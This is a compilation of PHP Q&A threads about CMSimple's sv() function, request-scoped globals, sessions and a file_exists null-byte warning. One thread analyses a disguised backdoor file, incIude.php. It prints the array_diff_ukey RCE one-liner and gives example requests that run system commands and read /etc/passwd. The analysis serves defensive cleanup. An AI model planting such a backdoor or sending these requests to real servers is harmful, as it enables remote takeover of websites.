I'm studying a code from CMSimple 3.0 framework, with this line:
if (eregi('login.php', sv('PHP_SELF')))die('Access Denied');
So, it's suppose to display "Access Denied" if the char "login.php" is present in sc('PHP_SELF').
I know that PHP_SELF is the name of the running script (i-e the name of the page being called). But after some research I was not able to find out the role of function sc.
Any idea why?
The documentation for CMSimple tells me:
Returns the server variable $name, if it's set, the empty string otherwise.
The function sv in the version of CMSimple you're working on is defined on line 190 of cmsimple/cms.php (you'll notice that is the only script that does not throw a fatal error when called directly). Although the documented definition is quite brief you'll notice sv does a couple of things:
It creates a global variable array named $_SERVER consisting of the variables in $GLOBALS['HTTP_SERVER_VARS'], unless the array $_SERVER already exists.
The HTTP_SERVER_VARS array contains information such as headers, paths, and script locations. You will find some familiar elements in these arrays, like; PHP_SELF (which is the file name of the current executing script), REMOTE_ADDR, QUERY_STRING, and PHP_AUTH_USER. All variables that you will see sv queries for in this code base.
If/When $_SERVER exists it queries the array for a variable and returns it, unless the variable isn't set; then it returns ''.
The code you posted
if (eregi('login.php', sv('PHP_SELF')))die('Access Denied');
Is comparing the expression 'login.php' to the name of the script that is being executed and exiting with message 'Access Denied' if they match.
Related
I am trying to write a simple page that will save some data to the GLOBAL state (stored in server memory) using a dynamic variable name. In simple terms, there are only two parameters that can be sent by the query string (GET only).
jam: the parameter identifying a unique piece of data, which can be virtually any text string (including numbers). This value is appended to the string "jam" to create the dynamic variable name. So ?jam=123 results in global variable jam123. Likewise So ?jam=Booboo results in global variable jamBooboo.
section: the value to which the global variable mentioned above will be set (must be numeric). So if ?jam=Booboo§ion=4 is passed, the value of global variable jamBooboo is set to 4.
The idea is that once the values are set for each dynamically named jam (jamXXXX), any future requests specifying that same jam should output the set value. For instance, and requests specifying ?jam=Booboo AFTER the page is called with parameters ?jam=Booboo§ion=4, should simply output "4". But if the next request is ?jam=Booboo§ion=6, then subsequent requests should output "6".
This is set up on PHP7 on the AWS Lightsail LAMP Stack. I am open to using another variable scope if it will persist in Server memory (not a cookie).
I have tried the code below, but while I see the initial value properly when the global variable is SET, I do not see it output on subsequent requests. I am not sure if there is a missing setting in PHP, or if my code is off somehow. I have also tried using the global keyword and looking for a register_globals setting in php.ini (doesn't exist currently).
<?php
if(isset($_GET['jam']) == false){
// Do nothing, it's a bad request - jam is a required variable
}
else if (isset($_GET['section']) == false){
// section is not specified, so output the global value of jam if it exists
if(isset($GLOBALS["jam".$_GET['jam']])){
echo $GLOBALS["jam".$_GET['jam']];
}
}
else if (is_numeric($_GET['section'])){
// section is specified and its a number so set the global value for jam to that number and output it
$GLOBALS["jam".$_GET['jam']] = $_GET['section'];
echo $GLOBALS["jam".$_GET['jam']];
}
else{
// Do nothing, it's a bad request as none of the mandatory conditions have been met
}
?>
If I'm not mistaken, you seem to expect $GLOBALS to persist between 2 different PHP request.
Unless otherwise programmed, each PHP call would recieve its own memory space that DO NOT share with each another. So a variable saved to the $GLOBALS array will only be available to that request, and will be forgotten immediately when that request end. Subsequent call to the PHP code on the same server (even the same script file) do not received the $GLOBALS values from previous calls.
You need to program you persistent storage with files, cache service or databases.
I received a message from Siteground today with the subject "Vulnerable software detected on your account". (I love me some Siteground; no problem with their detection.)
When I investigate the files they found, there is a PHP file that exists in a few of my add on domains. It is incIude.php with a capital "i" in the "l" position. Even on this site, it looks the same as when properly spelled, because of the font. Obviously fishy. But curiously, the file is dated back in 2013. Any search I attempt comes back with links to typo-corrected files. It's the typo that is critical.
Anyway, here is the code in that file:
<?php #array_diff_ukey(#array((string)$_REQUEST['password']=>1),#array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); ?>
Obviously, I'm at work cleaning this up. I'm just curious as to whether any of your subscribers can tell me more about this particular exploit.
It seems this is a simple backdoor script for RCE (Remote Code Execution). Re-formatting the script:
#array_diff_ukey(
#array(
(string)$_REQUEST['password'] => 1
),
#array(
(string)stripslashes($_REQUEST['re_password']) => 2
),
$_REQUEST['login']
);
Everything is prefixed with # to make sure no errors, exceptions, or warnings are issued. This would give away the backdoor script.
The important vulnerability here is that the last argument of array_diff_ukey is a callback function. Per usual in PHP this can be an anonymous function, function variable, or a string.
So the attack is:
include the script somewhere, somehow (innocent git commit? small change by an insider? temporary write access to the codebase?); in particular a login / registration endpoint that would include login and register in the form fields, but anywhere works (since the request can still include login and register parameters)
send a request like ?login=system&password=ls
the function specified as login gets called with keys from either array, i.e. from password and re_password; in the example the function would be system("ls", NULL)
profit! (RCE)
The stealthiness comes from:
an innocent looking filename, normally indistinguishable from "include"
no errors thrown
executed on login attempts which might be part of regular requests and not logged properly
It calls an arbitrary function named with the login query parameter that accepts up to two parameters, with the first parameter being the value of the password field, and the second parameter being the value of the re_password field. For instance:
http://yoursite.com/incIude.php?login=system&password=cat%20%2fetc%2fpasswd
will print the contents of /etc/passwd.
First of all a little bit of background on my setup:
I have a local domain name set up, projects.lumesse.com.
PHP version is 5.4.16 running on IIS 7.
Testing in Chrome (latest stable build).
The problem is as follows:
I have a function called 'getVariable' as follows:
function getVariable($name, $default = "") {
if(isset($_POST[$name])) return $_POST[$name];
if(isset($_GET[$name])) return $_GET[$name];
if(isset($_SESSION[$name])) return $_SESSION[$name];
return $default;
}
Going through this function line by line it returns the post variable if it exists, followed by the get variable, followed by the session variable followed by the default (if none of the others exist).
In another include, which is included directly after the functions include, I have the following line:
$_SESSION["Language"] = getVariable("Language", "FR");
This works fine if I put ?Language=DE - the site displays in German as expected. However from the line above I'd expect that the language is persisted if I strip off the querystring.
The first time this page is hit, with ?Language=DE, it should return the get variable. The line above then sets the session variable. Any calls to this function after this would therefore return the session variable, right?
It is actually returning FR, the default, in the case that no language parameter exists, even if I've set the language beforehand.
Any ideas on what I'm missing would be much appreciated.
Found the answer - I'm used to coding in classic ASP and .net which don't need a line to initialise the session. Solution was to put session_start() in the main includes file.
I'm designing a web application that can be customized based on which retail location the end user is coming from. For example, if a user is coming from a store called Farmer's Market, there may be customized content or extra links available to that user, specific to that particular store. file_exists() is used to determine if there are any customized portions of the page that need to be imported.
Up until now, we've been using a relatively insecure method, in which the item ID# and the store are simply passed in as GET parameters, and the system knows to apply them to each of the links within the page. However, we're switching to a reversible hash method, in which the store and item number are encrypted (to look something like "gd651hd8h41dg0h81"), and the pages simply decode them and assign the store and ID variables.
Since then, however, we've been running into an error that Googling extensively hasn't found me an answer for. There are several similar blocks of code, but they all look something like this:
$buttons_first = "../stores/" . $store . "/buttons_first.php";
if(file_exists($buttons_first))
{
include($buttons_first);
}
(The /stores/ directory is actually in the directory above the working one, hence the ../)
Fairly straightforward. But despite working fine when a regular ID and store is passed in, using the encrypted ID throws this error for each one of those similar statements:
Warning: file_exists() expects parameter 1 to be a valid path, string given in [url removed] on line 11
I've had the script spit back the full URL, and it appears to be assigning $store correctly. I'm running PHP 5.4.11 on 1&1 hosting (because I know they have some abnormalities in the way their servers work), if that helps any.
I got the same error before but I don't know if this solution of mine works on your problem you need to remove the "\0" try replace it:
$cleaned = strval(str_replace("\0", "", $buttons_first));
it worked on my case.
Run a var_dump(strpos($buttons_first,"\0")), this warning could come up when a path has a null byte, for security reasons. If that doesn't work, check the length of the string and make sure it is what you'd expect, just in case there are other invisible bytes.
It may be a problem with the path as it depends where you are running the script from. It's safer to use absolute paths. To get the path to the directory in which the current script is executing, you can use dirname(__FILE__).
Add / before stores/, you are better off using absolute paths.
I know this post was created on 2013 but didn't saw the common solution.
This error occurs after adding multiple to the file submit form
for example you are using files like this on php: $_FILES['file']['tmp_name']
But after the adding multiple option to the form. Your input name became file => file[]
so even if you post just one file, $_FILES['file']['tmp_name'] should be change to $_FILES['file']['tmp_name'][0]
First, here are the hierarchy of files:
system/
...index.php
...core/
.......MasterView.php
.......Test.php
...sources/
.......ajax/
............ajaxtest.php
.......js/
............jstest.js
and so on.
index.php includes Test.php.
Test.php contains these lines:
$GLOBALS['foo'] = 'foo'; // note 1
require(ROOT.'/core/MasterView.php'); // render master view.
MasterView.php contains simple html tags but calls on jstest.js in system/sources/js/ directory.
jstest.js in system/sources/js/ directory made an ajax call to ajaxtest.php.
ajaxtest.php in system/sources/ajax/ directory contains this line:
echo $GLOBALS['foo']; // note 2
After running index.php on browser, the following error occurs:
Undefined index: foo in ...ajax\ajaxtest.php ...
particularly pointing to note 2 line. My question is, why does php does not recognize foo index when I have defined it on note 1 line before calling MasterView.php?
PS: I know the above method is not the best way to do it but I only give it as an illustration to my problem.
EDIT:
I've tried using $_SESSION['foo'] instead of $GLOBALS['foo'] in both files just to mention one solution I've tried. Same error occurs. Php does not recognize the index foo.
jstest.js in system/sources/js/ directory made an ajax call to ajaxtest.php.
Global variables are global to the same request only. If you connect files with an AJAX request in between, the global variable is not available because AJAX will create a new request.
You can share data across multiple requests by creating some sort of Server Session State by using cookies, a database or PHP sessionsĀDocs.